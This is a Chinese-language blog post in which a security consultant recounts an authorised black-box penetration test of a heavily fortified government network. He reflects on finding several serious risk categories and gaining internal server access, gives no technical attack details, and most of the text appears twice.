但一做下来，发现问题太多了，系统和网络上，表面上看只开了邮件和web服务，只有几个jsp页面，而且每个jsp页面单独放在一台服务器上面运行(有钱就是好啊)，做了大量的sql注入过滤，而且上了支持sql注入防护的防火墙和ids，在向内的网络使用了多台网闸，整个系统看上去固若金汤。朋友用了十几种扫描工具，包括web应用扫描的那几款著名工具，都没有发现任何问题，牛吧，政府网吧能做到这份上真是不多，因为是特别重要的部门，加上过去曾经出过事，领导非常重视，从预算中拿出一部分费用来做安全防护（对我们穷人来说也非常可观了），现在的系统，安全评估、加固一类已经做好很多次了。想想看，有哪个客户会花很多钱，买上国内国外好几套的扫描工具？几十台千兆防火墙？还有IDS。。。真是要命啊。
任务看上去非常有压力，但既然工具扫不出东西来，咱就按着入侵者的思路分析下去吧。结果不做不知道，一做吓一跳，居然发现三大类安全风险，都对系统有非常严重的威胁。最后，按照这些威胁，做了多个方面的入侵，拿到内网的多个服务器的操作权限，账户资源出写报告了。
做测试过程中了解到，有很多省市用了其中的某个系统，而且没有象他们这样专门再定制再加固。
后来另一个在安全界打滚多年的老朋友就说呢，哪有你这么实在的，渗透测试嘛，一般只要通过一个漏洞进入系统，就算完成任务了，很少会全面地找问题，再针对这些问题，每一个方面都进行完全地入侵，最后再给出详细的整改方案，靠呀，一个项目把所有活都干完了，其它人吃什么呀？好吧，我觉的应该不单算成是渗透攻击测试，而应该算是完全的远程安全评估，哈哈，从效果上看，应该是这样的。
工作告一段落，三天时间内只能晚上干活，还要写报告，累坏我了，以后不打算做渗透测试了，或者Zero知识的黑盒，远程风险评估了，还是发挥自己的长处，为大家提供安全风险评估、系统防御一类的东西吧。
虽然我的专长在于安全防护，保护系统和网络，保护方面还有一手，但在攻击方面，这么大年纪了，好长时间没做了，还真有些发怵。
但一做下来，发现问题太多了，系统和网络上，表面上看只开了邮件和web服务，只有几个jsp页面，而且每个jsp页面单独放在一台服务器上面运行(有钱就是好啊)，做了大量的sql注入过滤，而且上了支持sql注入防护的防火墙和ids，在向内的网络使用了多台网闸，整个系统看上去固若金汤。朋友用了十几种扫描工具，包括web应用扫描的那几款著名工具，都没有发现任何问题，牛吧，政府网吧能做到这份上真是不多，因为是特别重要的部门，加上过去曾经出过事，领导非常重视，从预算中拿出一部分费用来做安全防护（对我们穷人来说也非常可观了），现在的系统，安全评估、加固一类已经做好很多次了。想想看，有哪个客户会花很多钱，买上国内国外好几套的扫描工具？几十台千兆防火墙？还有IDS。。。真是要命啊。
任务看上去非常有压力，但既然工具扫不出东西来，咱就按着入侵者的思路分析下去吧。结果不做不知道，一做吓一跳，居然发现三大类安全风险，都对系统有非常严重的威胁。最后，按照这些威胁，做了多个方面的入侵，拿到内网的多个服务器的操作权限，账户资源出写报告了。
做测试过程中了解到，有很多省市用了其中的某个系统，而且没有象他们这样专门再定制再加固。
后来另一个在安全界打滚多年的老朋友就说呢，哪有你这么实在的，渗透测试嘛，一般只要通过一个漏洞进入系统，就算完成任务了，很少会全面地找问题，再针对这些问题，每一个方面都进行完全地入侵，最后再给出详细的整改方案，靠呀，一个项目把所有活都干完了，其它人吃什么呀？好吧，我觉的应该不单算成是渗透攻击测试，而应该算是完全的远程安全评估，哈哈，从效果上看，应该是这样的。
工作告一段落，三天时间内只能晚上干活，还要写报告，累坏我了，以后不打算做渗透测试了，或者Zero知识的黑盒，远程风险评估了，还是发挥自己的长处，为大家提供安全风险评估、系统防御一类的东西吧。
订阅：
博文 (Atom)